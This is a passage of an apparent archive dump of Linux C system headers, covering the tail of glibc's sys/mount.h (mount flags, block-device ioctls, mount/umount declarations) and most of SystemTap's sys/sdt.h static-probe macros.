is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ /* This is taken from /usr/include/linux/fs.h. */ #ifndef _SYS_MOUNT_H #define _SYS_MOUNT_H 1 #include <features.h> #include <sys/ioctl.h> #define BLOCK_SIZE 1024 #define BLOCK_SIZE_BITS 10 /* These are the fs-independent mount-flags: up to 16 flags are supported */ enum { MS_RDONLY = 1, /* Mount read-only. */ #define MS_RDONLY MS_RDONLY MS_NOSUID = 2, /* Ignore suid and sgid bits. */ #define MS_NOSUID MS_NOSUID MS_NODEV = 4, /* Disallow access to device special files. */ #define MS_NODEV MS_NODEV MS_NOEXEC = 8, /* Disallow program execution. */ #define MS_NOEXEC MS_NOEXEC MS_SYNCHRONOUS = 16, /* Writes are synced at once. */ #define MS_SYNCHRONOUS MS_SYNCHRONOUS MS_REMOUNT = 32, /* Alter flags of a mounted FS. */ #define MS_REMOUNT MS_REMOUNT MS_MANDLOCK = 64, /* Allow mandatory locks on an FS. */ #define MS_MANDLOCK MS_MANDLOCK MS_DIRSYNC = 128, /* Directory modifications are synchronous. */ #define MS_DIRSYNC MS_DIRSYNC MS_NOATIME = 1024, /* Do not update access times. */ #define MS_NOATIME MS_NOATIME MS_NODIRATIME = 2048, /* Do not update directory access times. */ #define MS_NODIRATIME MS_NODIRATIME MS_BIND = 4096, /* Bind directory at different place. */ #define MS_BIND MS_BIND MS_MOVE = 8192, #define MS_MOVE MS_MOVE MS_REC = 16384, #define MS_REC MS_REC MS_SILENT = 32768, #define MS_SILENT MS_SILENT MS_POSIXACL = 1 << 16, /* VFS does not apply the umask. */ #define MS_POSIXACL MS_POSIXACL MS_UNBINDABLE = 1 << 17, /* Change to unbindable. */ #define MS_UNBINDABLE MS_UNBINDABLE MS_PRIVATE = 1 << 18, /* Change to private. */ #define MS_PRIVATE MS_PRIVATE MS_SLAVE = 1 << 19, /* Change to slave. */ #define MS_SLAVE MS_SLAVE MS_SHARED = 1 << 20, /* Change to shared. */ #define MS_SHARED MS_SHARED MS_RELATIME = 1 << 21, /* Update atime relative to mtime/ctime. */ #define MS_RELATIME MS_RELATIME MS_KERNMOUNT = 1 << 22, /* This is a kern_mount call. */ #define MS_KERNMOUNT MS_KERNMOUNT MS_I_VERSION = 1 << 23, /* Update inode I_version field. */ #define MS_I_VERSION MS_I_VERSION MS_STRICTATIME = 1 << 24, /* Always perform atime updates. */ #define MS_STRICTATIME MS_STRICTATIME MS_LAZYTIME = 1 << 25, /* Update the on-disk [acm]times lazily. */ #define MS_LAZYTIME MS_LAZYTIME MS_ACTIVE = 1 << 30, #define MS_ACTIVE MS_ACTIVE MS_NOUSER = 1 << 31 #define MS_NOUSER MS_NOUSER }; /* Flags that can be altered by MS_REMOUNT */ #define MS_RMT_MASK (MS_RDONLY|MS_SYNCHRONOUS|MS_MANDLOCK|MS_I_VERSION \ |MS_LAZYTIME) /* Magic mount flag number. Has to be or-ed to the flag values. */ #define MS_MGC_VAL 0xc0ed0000 /* Magic flag number to indicate "new" flags */ #define MS_MGC_MSK 0xffff0000 /* Magic flag number mask */ /* The read-only stuff doesn't really belong here, but any other place is probably as bad and I don't want to create yet another include file. */ #define BLKROSET _IO(0x12, 93) /* Set device read-only (0 = read-write). */ #define BLKROGET _IO(0x12, 94) /* Get read-only status (0 = read_write). */ #define BLKRRPART _IO(0x12, 95) /* Re-read partition table. */ #define BLKGETSIZE _IO(0x12, 96) /* Return device size. */ #define BLKFLSBUF _IO(0x12, 97) /* Flush buffer cache. */ #define BLKRASET _IO(0x12, 98) /* Set read ahead for block device. */ #define BLKRAGET _IO(0x12, 99) /* Get current read ahead setting. */ #define BLKFRASET _IO(0x12,100) /* Set filesystem read-ahead. */ #define BLKFRAGET _IO(0x12,101) /* Get filesystem read-ahead. */ #define BLKSECTSET _IO(0x12,102) /* Set max sectors per request. */ #define BLKSECTGET _IO(0x12,103) /* Get max sectors per request. */ #define BLKSSZGET _IO(0x12,104) /* Get block device sector size. */ #define BLKBSZGET _IOR(0x12,112,size_t) #define BLKBSZSET _IOW(0x12,113,size_t) #define BLKGETSIZE64 _IOR(0x12,114,size_t) /* return device size. */ /* Possible value for FLAGS parameter of `umount2'. */ enum { MNT_FORCE = 1, /* Force unmounting. */ #define MNT_FORCE MNT_FORCE MNT_DETACH = 2, /* Just detach from the tree. */ #define MNT_DETACH MNT_DETACH MNT_EXPIRE = 4, /* Mark for expiry. */ #define MNT_EXPIRE MNT_EXPIRE UMOUNT_NOFOLLOW = 8 /* Don't follow symlink on umount. */ #define UMOUNT_NOFOLLOW UMOUNT_NOFOLLOW }; __BEGIN_DECLS /* Mount a filesystem. */ extern int mount (const char *__special_file, const char *__dir, const char *__fstype, unsigned long int __rwflag, const void *__data) __THROW; /* Unmount a filesystem. */ extern int umount (const char *__special_file) __THROW; /* Unmount a filesystem. Force unmounting if FLAGS is set to MNT_FORCE. */ extern int umount2 (const char *__special_file, int __flags) __THROW; __END_DECLS #endif /* _SYS_MOUNT_H */ sys/sdt.h 0000644 00000053215 15246445046 0006345 0 ustar 00 /* <sys/sdt.h> - Systemtap static probe definition macros. This file is dedicated to the public domain, pursuant to CC0 (https://creativecommons.org/publicdomain/zero/1.0/) */ #ifndef _SYS_SDT_H #define _SYS_SDT_H 1 /* This file defines a family of macros STAP_PROBEn(op1, ..., opn) that emit a nop into the instruction stream, and some data into an auxiliary note section. The data in the note section describes the operands, in terms of size and location. Each location is encoded as assembler operand string. Consumer tools such as gdb or systemtap insert breakpoints on top of the nop, and decode the location operand-strings, like an assembler, to find the values being passed. The operand strings are selected by the compiler for each operand. They are constrained by gcc inline-assembler codes. The default is: #define STAP_SDT_ARG_CONSTRAINT nor This is a good default if the operands tend to be integral and moderate in number (smaller than number of registers). In other cases, the compiler may report "'asm' requires impossible reload" or similar. In this case, consider simplifying the macro call (fewer and simpler operands), reduce optimization, or override the default constraints string via: #define STAP_SDT_ARG_CONSTRAINT g #include <sys/sdt.h> See also: https://sourceware.org/systemtap/wiki/UserSpaceProbeImplementation https://gcc.gnu.org/onlinedocs/gcc/Constraints.html */ #ifdef __ASSEMBLER__ # define _SDT_PROBE(provider, name, n, arglist) \ _SDT_ASM_BODY(provider, name, _SDT_ASM_SUBSTR_1, (_SDT_DEPAREN_##n arglist)) \ _SDT_ASM_BASE # define _SDT_ASM_1(x) x; # define _SDT_ASM_2(a, b) a,b; # define _SDT_ASM_3(a, b, c) a,b,c; # define _SDT_ASM_5(a, b, c, d, e) a,b,c,d,e; # define _SDT_ASM_STRING_1(x) .asciz #x; # define _SDT_ASM_SUBSTR_1(x) .ascii #x; # define _SDT_DEPAREN_0() /* empty */ # define _SDT_DEPAREN_1(a) a # define _SDT_DEPAREN_2(a,b) a b # define _SDT_DEPAREN_3(a,b,c) a b c # define _SDT_DEPAREN_4(a,b,c,d) a b c d # define _SDT_DEPAREN_5(a,b,c,d,e) a b c d e # define _SDT_DEPAREN_6(a,b,c,d,e,f) a b c d e f # define _SDT_DEPAREN_7(a,b,c,d,e,f,g) a b c d e f g # define _SDT_DEPAREN_8(a,b,c,d,e,f,g,h) a b c d e f g h # define _SDT_DEPAREN_9(a,b,c,d,e,f,g,h,i) a b c d e f g h i # define _SDT_DEPAREN_10(a,b,c,d,e,f,g,h,i,j) a b c d e f g h i j # define _SDT_DEPAREN_11(a,b,c,d,e,f,g,h,i,j,k) a b c d e f g h i j k # define _SDT_DEPAREN_12(a,b,c,d,e,f,g,h,i,j,k,l) a b c d e f g h i j k l #else #if defined _SDT_HAS_SEMAPHORES #define _SDT_NOTE_SEMAPHORE_USE(provider, name) \ __asm__ __volatile__ ("" :: "m" (provider##_##name##_semaphore)); #else #define _SDT_NOTE_SEMAPHORE_USE(provider, name) #endif # define _SDT_PROBE(provider, name, n, arglist) \ do { \ _SDT_NOTE_SEMAPHORE_USE(provider, name); \ __asm__ __volatile__ (_SDT_ASM_BODY(provider, name, _SDT_ASM_ARGS, (n)) \ :: _SDT_ASM_OPERANDS_##n arglist); \ __asm__ __volatile__ (_SDT_ASM_BASE); \ } while (0) # define _SDT_S(x) #x # define _SDT_ASM_1(x) _SDT_S(x) "\n" # define _SDT_ASM_2(a, b) _SDT_S(a) "," _SDT_S(b) "\n" # define _SDT_ASM_3(a, b, c) _SDT_S(a) "," _SDT_S(b) "," \ _SDT_S(c) "\n" # define _SDT_ASM_5(a, b, c, d, e) _SDT_S(a) "," _SDT_S(b) "," \ _SDT_S(c) "," _SDT_S(d) "," \ _SDT_S(e) "\n" # define _SDT_ASM_ARGS(n) _SDT_ASM_TEMPLATE_##n # define _SDT_ASM_STRING_1(x) _SDT_ASM_1(.asciz #x) # define _SDT_ASM_SUBSTR_1(x) _SDT_ASM_1(.ascii #x) # define _SDT_ARGFMT(no) _SDT_ASM_1(_SDT_SIGN %n[_SDT_S##no]) \ _SDT_ASM_1(_SDT_SIZE %n[_SDT_S##no]) \ _SDT_ASM_1(_SDT_TYPE %n[_SDT_S##no]) \ _SDT_ASM_SUBSTR(_SDT_ARGTMPL(_SDT_A##no)) # ifndef STAP_SDT_ARG_CONSTRAINT # if defined __powerpc__ # define STAP_SDT_ARG_CONSTRAINT nZr # elif defined __arm__ # define STAP_SDT_ARG_CONSTRAINT g # else # define STAP_SDT_ARG_CONSTRAINT nor # endif # endif # define _SDT_STRINGIFY(x) #x # define _SDT_ARG_CONSTRAINT_STRING(x) _SDT_STRINGIFY(x) /* _SDT_S encodes the size and type as 0xSSTT which is decoded by the assembler macros _SDT_SIZE and _SDT_TYPE */ # define _SDT_ARG(n, x) \ [_SDT_S##n] "n" ((_SDT_ARGSIGNED (x) ? (int)-1 : 1) * (-(((int) _SDT_ARGSIZE (x)) << 8) + (-(0x7f & __builtin_classify_type (x))))), \ [_SDT_A##n] _SDT_ARG_CONSTRAINT_STRING (STAP_SDT_ARG_CONSTRAINT) (_SDT_ARGVAL (x)) #endif #define _SDT_ASM_STRING(x) _SDT_ASM_STRING_1(x) #define _SDT_ASM_SUBSTR(x) _SDT_ASM_SUBSTR_1(x) #define _SDT_ARGARRAY(x) (__builtin_classify_type (x) == 14 \ || __builtin_classify_type (x) == 5) #ifdef __cplusplus # define _SDT_ARGSIGNED(x) (!_SDT_ARGARRAY (x) \ && __sdt_type<__typeof (x)>::__sdt_signed) # define _SDT_ARGSIZE(x) (_SDT_ARGARRAY (x) \ ? sizeof (void *) : sizeof (x)) # define _SDT_ARGVAL(x) (x) # include <cstddef> template<typename __sdt_T> struct __sdt_type { static const bool __sdt_signed = false; }; #define __SDT_ALWAYS_SIGNED(T) \ template<> struct __sdt_type<T> { static const bool __sdt_signed = true; }; #define __SDT_COND_SIGNED(T,CT) \ template<> struct __sdt_type<T> { static const bool __sdt_signed = ((CT)(-1) < 1); }; __SDT_ALWAYS_SIGNED(signed char) __SDT_ALWAYS_SIGNED(short) __SDT_ALWAYS_SIGNED(int) __SDT_ALWAYS_SIGNED(long) __SDT_ALWAYS_SIGNED(long long) __SDT_ALWAYS_SIGNED(volatile signed char) __SDT_ALWAYS_SIGNED(volatile short) __SDT_ALWAYS_SIGNED(volatile int) __SDT_ALWAYS_SIGNED(volatile long) __SDT_ALWAYS_SIGNED(volatile long long) __SDT_ALWAYS_SIGNED(const signed char) __SDT_ALWAYS_SIGNED(const short) __SDT_ALWAYS_SIGNED(const int) __SDT_ALWAYS_SIGNED(const long) __SDT_ALWAYS_SIGNED(const long long) __SDT_ALWAYS_SIGNED(const volatile signed char) __SDT_ALWAYS_SIGNED(const volatile short) __SDT_ALWAYS_SIGNED(const volatile int) __SDT_ALWAYS_SIGNED(const volatile long) __SDT_ALWAYS_SIGNED(const volatile long long) __SDT_COND_SIGNED(char, char) __SDT_COND_SIGNED(wchar_t, wchar_t) __SDT_COND_SIGNED(volatile char, char) __SDT_COND_SIGNED(volatile wchar_t, wchar_t) __SDT_COND_SIGNED(const char, char) __SDT_COND_SIGNED(const wchar_t, wchar_t) __SDT_COND_SIGNED(const volatile char, char) __SDT_COND_SIGNED(const volatile wchar_t, wchar_t) #if defined (__GNUC__) && (__GNUC__ > 4 || (__GNUC__ == 4 && __GNUC_MINOR__ >= 4)) /* __SDT_COND_SIGNED(char16_t) */ /* __SDT_COND_SIGNED(char32_t) */ #endif template<typename __sdt_E> struct __sdt_type<__sdt_E[]> : public __sdt_type<__sdt_E *> {}; template<typename __sdt_E, size_t __sdt_N> struct __sdt_type<__sdt_E[__sdt_N]> : public __sdt_type<__sdt_E *> {}; #elif !defined(__ASSEMBLER__) __extension__ extern unsigned long long __sdt_unsp; # define _SDT_ARGINTTYPE(x) \ __typeof (__builtin_choose_expr (((__builtin_classify_type (x) \ + 3) & -4) == 4, (x), 0U)) # define _SDT_ARGSIGNED(x) \ (!__extension__ \ (__builtin_constant_p ((((unsigned long long) \ (_SDT_ARGINTTYPE (x)) __sdt_unsp) \ & ((unsigned long long)1 << (sizeof (unsigned long long) \ * __CHAR_BIT__ - 1))) == 0) \ || (_SDT_ARGINTTYPE (x)) -1 > (_SDT_ARGINTTYPE (x)) 0)) # define _SDT_ARGSIZE(x) \ (_SDT_ARGARRAY (x) ? sizeof (void *) : sizeof (x)) # define _SDT_ARGVAL(x) (x) #endif #if defined __powerpc__ || defined __powerpc64__ # define _SDT_ARGTMPL(id) %I[id]%[id] #elif defined __i386__ # define _SDT_ARGTMPL(id) %k[id] /* gcc.gnu.org/PR80115 sourceware.org/PR24541 */ #else # define _SDT_ARGTMPL(id) %[id] #endif /* NB: gdb PR24541 highlighted an unspecified corner of the sdt.h operand note format. The named register may be a longer or shorter (!) alias for the storage where the value in question is found. For example, on i386, 64-bit value may be put in register pairs, and the register name stored would identify just one of them. Previously, gcc was asked to emit the %w[id] (16-bit alias of some registers holding operands), even when a wider 32-bit value was used. Bottom line: the byte-width given before the @ sign governs. If there is a mismatch between that width and that of the named register, then a sys/sdt.h note consumer may need to employ architecture-specific heuristics to figure out where the compiler has actually put the complete value. */ #ifdef __LP64__ # define _SDT_ASM_ADDR .8byte #else # define _SDT_ASM_ADDR .4byte #endif /* The ia64 and s390 nop instructions take an argument. */ #if defined(__ia64__) || defined(__s390__) || defined(__s390x__) #define _SDT_NOP nop 0 #else #define _SDT_NOP nop #endif #define _SDT_NOTE_NAME "stapsdt" #define _SDT_NOTE_TYPE 3 /* If the assembler supports the necessary feature, then we can play nice with code in COMDAT sections, which comes up in C++ code. Without that assembler support, some combinations of probe placements in certain kinds of C++ code may produce link-time errors. */ #include "sdt-config.h" #if _SDT_ASM_SECTION_AUTOGROUP_SUPPORT # define _SDT_ASM_AUTOGROUP "?" #else # define _SDT_ASM_AUTOGROUP "" #endif #define _SDT_DEF_MACROS \ _SDT_ASM_1(.altmacro) \ _SDT_ASM_1(.macro _SDT_SIGN x) \ _SDT_ASM_1(.iflt \\x) \ _SDT_ASM_1(.ascii "-") \ _SDT_ASM_1(.endif) \ _SDT_ASM_1(.endm) \ _SDT_ASM_1(.macro _SDT_SIZE_ x) \ _SDT_ASM_1(.ascii "\x") \ _SDT_ASM_1(.endm) \ _SDT_ASM_1(.macro _SDT_SIZE x) \ _SDT_ASM_1(_SDT_SIZE_ %%((-(-\\x*((-\\x>0)-(-\\x<0))))>>8)) \ _SDT_ASM_1(.endm) \ _SDT_ASM_1(.macro _SDT_TYPE_ x) \ _SDT_ASM_2(.ifc 8,\\x) \ _SDT_ASM_1(.ascii "f") \ _SDT_ASM_1(.endif) \ _SDT_ASM_1(.ascii "@") \ _SDT_ASM_1(.endm) \ _SDT_ASM_1(.macro _SDT_TYPE x) \ _SDT_ASM_1(_SDT_TYPE_ %%((\\x)&(0xff))) \ _SDT_ASM_1(.endm) #define _SDT_UNDEF_MACROS \ _SDT_ASM_1(.purgem _SDT_SIGN) \ _SDT_ASM_1(.purgem _SDT_SIZE_) \ _SDT_ASM_1(.purgem _SDT_SIZE) \ _SDT_ASM_1(.purgem _SDT_TYPE_) \ _SDT_ASM_1(.purgem _SDT_TYPE) #define _SDT_ASM_BODY(provider, name, pack_args, args, ...) \ _SDT_DEF_MACROS \ _SDT_ASM_1(990: _SDT_NOP) \ _SDT_ASM_3( .pushsection .note.stapsdt,_SDT_ASM_AUTOGROUP,"note") \ _SDT_ASM_1( .balign 4) \ _SDT_ASM_3( .4byte 992f-991f, 994f-993f, _SDT_NOTE_TYPE) \ _SDT_ASM_1(991: .asciz _SDT_NOTE_NAME) \ _SDT_ASM_1(992: .balign 4) \ _SDT_ASM_1(993: _SDT_ASM_ADDR 990b) \ _SDT_ASM_1( _SDT_ASM_ADDR _.stapsdt.base) \ _SDT_SEMAPHORE(provider,name) \ _SDT_ASM_STRING(provider) \ _SDT_ASM_STRING(name) \ pack_args args \ _SDT_ASM_SUBSTR(\x00) \ _SDT_UNDEF_MACROS \ _SDT_ASM_1(994: .balign 4) \ _SDT_ASM_1( .popsection) #define _SDT_ASM_BASE \ _SDT_ASM_1(.ifndef _.stapsdt.base) \ _SDT_ASM_5( .pushsection .stapsdt.base,"aG","progbits", \ .stapsdt.base,comdat) \ _SDT_ASM_1( .weak _.stapsdt.base) \ _SDT_ASM_1( .hidden _.stapsdt.base) \ _SDT_ASM_1( _.stapsdt.base: .space 1) \ _SDT_ASM_2( .size _.stapsdt.base, 1) \ _SDT_ASM_1( .popsection) \ _SDT_ASM_1(.endif) #if defined _SDT_HAS_SEMAPHORES #define _SDT_SEMAPHORE(p,n) \ _SDT_ASM_1( _SDT_ASM_ADDR p##_##n##_semaphore) #else #define _SDT_SEMAPHORE(p,n) _SDT_ASM_1( _SDT_ASM_ADDR 0) #endif #define _SDT_ASM_BLANK _SDT_ASM_SUBSTR(\x20) #define _SDT_ASM_TEMPLATE_0 /* no arguments */ #define _SDT_ASM_TEMPLATE_1 _SDT_ARGFMT(1) #define _SDT_ASM_TEMPLATE_2 _SDT_ASM_TEMPLATE_1 _SDT_ASM_BLANK _SDT_ARGFMT(2) #define _SDT_ASM_TEMPLATE_3 _SDT_ASM_TEMPLATE_2 _SDT_ASM_BLANK _SDT_ARGFMT(3) #define _SDT_ASM_TEMPLATE_4 _SDT_ASM_TEMPLATE_3 _SDT_ASM_BLANK _SDT_ARGFMT(4) #define _SDT_ASM_TEMPLATE_5 _SDT_ASM_TEMPLATE_4 _SDT_ASM_BLANK _SDT_ARGFMT(5) #define _SDT_ASM_TEMPLATE_6 _SDT_ASM_TEMPLATE_5 _SDT_ASM_BLANK _SDT_ARGFMT(6) #define _SDT_ASM_TEMPLATE_7 _SDT_ASM_TEMPLATE_6 _SDT_ASM_BLANK _SDT_ARGFMT(7) #define _SDT_ASM_TEMPLATE_8 _SDT_ASM_TEMPLATE_7 _SDT_ASM_BLANK _SDT_ARGFMT(8) #define _SDT_ASM_TEMPLATE_9 _SDT_ASM_TEMPLATE_8 _SDT_ASM_BLANK _SDT_ARGFMT(9) #define _SDT_ASM_TEMPLATE_10 _SDT_ASM_TEMPLATE_9 _SDT_ASM_BLANK _SDT_ARGFMT(10) #define _SDT_ASM_TEMPLATE_11 _SDT_ASM_TEMPLATE_10 _SDT_ASM_BLANK _SDT_ARGFMT(11) #define _SDT_ASM_TEMPLATE_12 _SDT_ASM_TEMPLATE_11 _SDT_ASM_BLANK _SDT_ARGFMT(12) #define _SDT_ASM_OPERANDS_0() [__sdt_dummy] "g" (0) #define _SDT_ASM_OPERANDS_1(arg1) _SDT_ARG(1, arg1) #define _SDT_ASM_OPERANDS_2(arg1, arg2) \ _SDT_ASM_OPERANDS_1(arg1), _SDT_ARG(2, arg2) #define _SDT_ASM_OPERANDS_3(arg1, arg2, arg3) \ _SDT_ASM_OPERANDS_2(arg1, arg2), _SDT_ARG(3, arg3) #define _SDT_ASM_OPERANDS_4(arg1, arg2, arg3, arg4) \ _SDT_ASM_OPERANDS_3(arg1, arg2, arg3), _SDT_ARG(4, arg4) #define _SDT_ASM_OPERANDS_5(arg1, arg2, arg3, arg4, arg5) \ _SDT_ASM_OPERANDS_4(arg1, arg2, arg3, arg4), _SDT_ARG(5, arg5) #define _SDT_ASM_OPERANDS_6(arg1, arg2, arg3, arg4, arg5, arg6) \ _SDT_ASM_OPERANDS_5(arg1, arg2, arg3, arg4, arg5), _SDT_ARG(6, arg6) #define _SDT_ASM_OPERANDS_7(arg1, arg2, arg3, arg4, arg5, arg6, arg7) \ _SDT_ASM_OPERANDS_6(arg1, arg2, arg3, arg4, arg5, arg6), _SDT_ARG(7, arg7) #define _SDT_ASM_OPERANDS_8(arg1, arg2, arg3, arg4, arg5, arg6, arg7, arg8) \ _SDT_ASM_OPERANDS_7(arg1, arg2, arg3, arg4, arg5, arg6, arg7), \ _SDT_ARG(8, arg8) #define _SDT_ASM_OPERANDS_9(arg1,arg2,arg3,arg4,arg5,arg6,arg7,arg8,arg9) \ _SDT_ASM_OPERANDS_8(arg1, arg2, arg3, arg4, arg5, arg6, arg7, arg8), \ _SDT_ARG(9, arg9) #define _SDT_ASM_OPERANDS_10(arg1,arg2,arg3,arg4,arg5,arg6,arg7,arg8,arg9,arg10) \ _SDT_ASM_OPERANDS_9(arg1, arg2, arg3, arg4, arg5, arg6, arg7, arg8, arg9), \ _SDT_ARG(10, arg10) #define _SDT_ASM_OPERANDS_11(arg1,arg2,arg3,arg4,arg5,arg6,arg7,arg8,arg9,arg10,arg11) \ _SDT_ASM_OPERANDS_10(arg1, arg2, arg3, arg4, arg5, arg6, arg7, arg8, arg9, arg10), \ _SDT_ARG(11, arg11) #define _SDT_ASM_OPERANDS_12(arg1,arg2,arg3,arg4,arg5,arg6,arg7,arg8,arg9,arg10,arg11,arg12) \ _SDT_ASM_OPERANDS_11(arg1, arg2, arg3, arg4, arg5, arg6, arg7, arg8, arg9, arg10, arg11), \ _SDT_ARG(12, arg12) /* These macros can be used in C, C++, or assembly code. In assembly code the arguments should use normal assembly operand syntax. */ #define STAP_PROBE(provider, name) \ _SDT_PROBE(provider, name, 0, ()) #define STAP_PROBE1(provider, name, arg1) \ _SDT_PROBE(provider, name, 1, (arg1)) #define STAP_PROBE2(provider, name, arg1, arg2) \ _SDT_PROBE(provider, name, 2, (arg1, arg2)) #define STAP_PROBE3(provider, name, arg1, arg2, arg3) \ _SDT_PROBE(provider, name, 3, (arg1, arg2, arg3)) #define STAP_PROBE4(provider, name, arg1, arg2, arg3, arg4) \ _SDT_PROBE(provider, name, 4, (arg1, arg2, arg3, arg4)) #define STAP_PROBE5(provider, name, arg1, arg2, arg3, arg4, arg5) \ _SDT_PROBE(provider, name, 5, (arg1, arg2, arg3, arg4, arg5)) #define STAP_PROBE6(provider, name, arg1, arg2, arg3, arg4, arg5, arg6) \ _SDT_PROBE(provider, name, 6, (arg1, arg2, arg3, arg4, arg5, arg6)) #define STAP_PROBE7(provider, name, arg1, arg2, arg3, arg4, arg5, arg6, arg7) \ _SDT_PROBE(provider, name, 7, (arg1, arg2, arg3, arg4, arg5, arg6, arg7)) #define STAP_PROBE8(provider,name,arg1,arg2,arg3,arg4,arg5,arg6,arg7,arg8) \ _SDT_PROBE(provider, name, 8, (arg1,arg2,arg3,arg4,arg5,arg6,arg7,arg8)) #define STAP_PROBE9(provider,name,arg1,arg2,arg3,arg4,arg5,arg6,arg7,arg8,arg9)\ _SDT_PROBE(provider, name, 9, (arg1,arg2,arg3,arg4,arg5,arg6,arg7,arg8,arg9)) #define STAP_PROBE10(provider,name,arg1,arg2,arg3,arg4,arg5,arg6,arg7,arg8,arg9,arg10) \ _SDT_PROBE(provider, name, 10, \ (arg1,arg2,arg3,arg4,arg5,arg6,arg7,arg8,arg9,arg10)) #define STAP_PROBE11(provider,name,arg1,arg2,arg3,arg4,arg5,arg6,arg7,arg8,arg9,arg10,arg11) \ _SDT_PROBE(provider, name, 11, \ (arg1,arg2,arg3,arg4,arg5,arg6,arg7,arg8,arg9,arg10,arg11)) #define STAP_PROBE12(provider,name,arg1,arg2,arg3,arg4,arg5,arg6,arg7,arg8,arg9,arg10,arg11,arg12) \ _SDT_PROBE(provider, name, 12, \ (arg1,arg2,arg3,arg4,arg5,arg6,arg7,arg8,arg9,arg10,arg11,arg12)) /* This STAP_PROBEV macro can be used in variadic scenarios, where the number of probe arguments is not known until compile time. Since variadic macro support may vary with compiler options, you must pre-#define SDT_USE_VARIADIC to enable this type of probe. The trick to count __VA_ARGS__ was inspired by this post by Laurent Deniau <laurent.deniau@cern.ch>: http://groups.google.com/group/comp.std.c/msg/346fc464319b1ee5 Note that our _SDT_NARG is called with an extra 0 arg that's not counted, so we don't have to worry about the behavior of macros called without any arguments. */ #define _SDT_NARG(...) __SDT_NARG(__VA_ARGS__, 12,11,10,9,8,7,6,5,4,3,2,1,0) #define __SDT_NARG(_0,_1,_2,_3,_4,_5,_6,_7,_8,_9,_10,_11,_12, N, ...) N #ifdef SDT_USE_VARIADIC #define _SDT_PROBE_N(provider, name, N, ...) \ _SDT_PROBE(provider, name, N, (__VA_ARGS__)) #define STAP_PROBEV(provider, name, ...) \ _SDT_PROBE_N(provider, name, _SDT_NARG(0, ##__VA_ARGS__), ##__VA_ARGS__) #endif /* These macros are for use in asm statements. You must compile with -std=gnu99 or -std=c99 to use the STAP_PROBE_ASM macro. The STAP_PROBE_ASM macro generates a quoted string to be used in the template portion of the asm statement, concatenated with strings that contain the actual assembly code around the probe site. For example: asm ("before\n" STAP_PROBE_ASM(provider, fooprobe, %eax 4(%esi)) "after"); emits the assembly code for "before\nafter", with a probe in between. The probe arguments are the %eax register, and the value of the memory word located 4 bytes past the address in the %esi register. Note that because this is a simple asm, not a GNU C extended asm statement, these % characters do not need to be doubled to generate literal %reg names. In a GNU C extended asm statement, the probe arguments can be specified using the macro STAP_PROBE_ASM_TEMPLATE(n) for n arguments. The paired macro STAP_PROBE_ASM_OPERANDS gives the C values of these probe arguments, and appears in the input operand list of the asm statement. For example: asm ("someinsn %0,%1\n" // %0 is output operand, %1 is input operand STAP_PROBE_ASM(provider, fooprobe, STAP_PROBE_ASM_TEMPLATE(3)) "otherinsn %[namedarg]" : "r" (outvar) : "g" (some_value), [namedarg] "i" (1234), STAP_PROBE_ASM_OPERANDS(3, some_value, some_ptr->field, 1234)); This is just like writing: STAP_PROBE3(provider, fooprobe, some_value, some_ptr->field, 1234)); but the probe site is right between "someinsn" and "otherinsn". The probe arguments in STAP_PROBE_ASM can be given as assembly operands instead, even inside a GNU C extended asm statement. Note that these can use operand templates like %0 or %[name], and likewise they must write %%reg for a literal operand of %reg. */ #define _SDT_ASM_BODY_1(p,n,...) _SDT_ASM_BODY(p,n,_SDT_ASM_SUBSTR,(__VA_ARGS__)) #define _SDT_ASM_BODY_2(p,n,...) _SDT_ASM_BODY(p,n,/*_SDT_ASM_STRING */,__VA_ARGS__) #define _SDT_ASM_BODY_N2(p,n,no,...) _SDT_ASM_BODY_ ## no(p,n,__VA_ARGS__) #define _SDT_ASM_BODY_N1(p,n,no,...) _SDT_ASM_BODY_N2(p,n,no,__VA_ARGS__) #define _SDT_ASM_BODY_N(p,n,...) _SDT_ASM_BODY_N1(p,n,_SDT_NARG(0, __VA_ARGS__),__VA_ARGS__) #if __STDC_VERSION__ >= 199901L # define STAP_PROBE_ASM(provider, name, ...) \ _SDT_ASM_BODY_N(provider, name, __VA_ARGS__) \ _SDT_ASM_BASE # define STAP_PROBE_ASM_OPERANDS(n, ...) _SDT_ASM_OPERANDS_##n(__VA_ARGS__) #else # define STAP_PROBE_ASM(provider, name, args) \ _SDT_ASM_BODY(provider, name, /* _SDT_ASM_STRING */, (args)) \ _SDT_ASM_BASE #endif #define STAP_PROBE_ASM_TEMPLATE(n) _SDT_ASM_TEMPLATE_##n,"use _SDT_ASM_TEMPLATE_" /* DTrace compatible macro names. */ #define DTRACE_PROBE(provider,probe) \ STAP_PROBE(provider,probe) #define DTRACE_PROBE1(provider,probe,parm1) \ STAP_PROBE1(provider,probe,parm1) #define DTRACE_PROBE2(provider,probe,parm1,parm2) \ STAP_PROBE2(provider,probe,parm1,parm2) #define DTRACE_PROBE3(provider,probe,parm1,parm2,parm3) \ STAP_PROBE3(provider,probe,parm1,parm2,parm3) #define DTRACE_PROBE4(provider,probe,parm1,parm2,parm3,parm4) \ STAP_PROBE4(provider,probe,parm1,parm2,parm3,parm4) #define DTRACE_PROBE5(provider,probe,parm1,parm2,parm3,parm4,parm5) \ STAP_PROBE5(provider,probe,parm1,parm2,parm3,parm4,parm5) #define DTRACE_PROBE6(provider,probe,parm1,parm2,parm3,parm4,parm5,parm6) \ STAP_PROBE6(provider,probe,parm1,parm2,parm3,parm4,parm5,parm6) #define DTRACE_PROBE7(provider,probe,parm1,parm2,parm3,parm4,parm5,parm6,parm7) \ STAP_PROBE7(provider,probe,parm1,parm2,parm3,parm4,parm5,parm6,parm7) #define DTRACE_PROBE8(provider,probe,parm1,parm2,parm3,parm4,parm5,parm6,parm7,parm8) \ STAP_PROBE8(provider,probe,parm1,parm2,parm3,parm4,parm5,parm6,parm7,parm8) #define DTRACE_PROBE9(provider,probe,parm1,parm2,parm3,parm4,parm5,parm6,parm7,parm8,parm9) \ STAP_PROBE9(provider,probe,parm1,parm2,parm3,parm4,parm5,parm6,parm7,parm8,parm9) #define DTRACE_PROBE10(provider,probe,parm1,parm2,parm3,parm4,parm5,parm6,parm7,parm8,parm9,parm10) \ STAP_PROBE10(provider,probe,parm1,parm2,parm3,parm4,parm5,parm6,parm7,parm8,parm9,parm10) #define DTRACE_PROBE11(provider,probe,parm1,parm2,parm3,parm4,parm5,parm6,parm7,parm8,parm9,parm10,parm11) \ 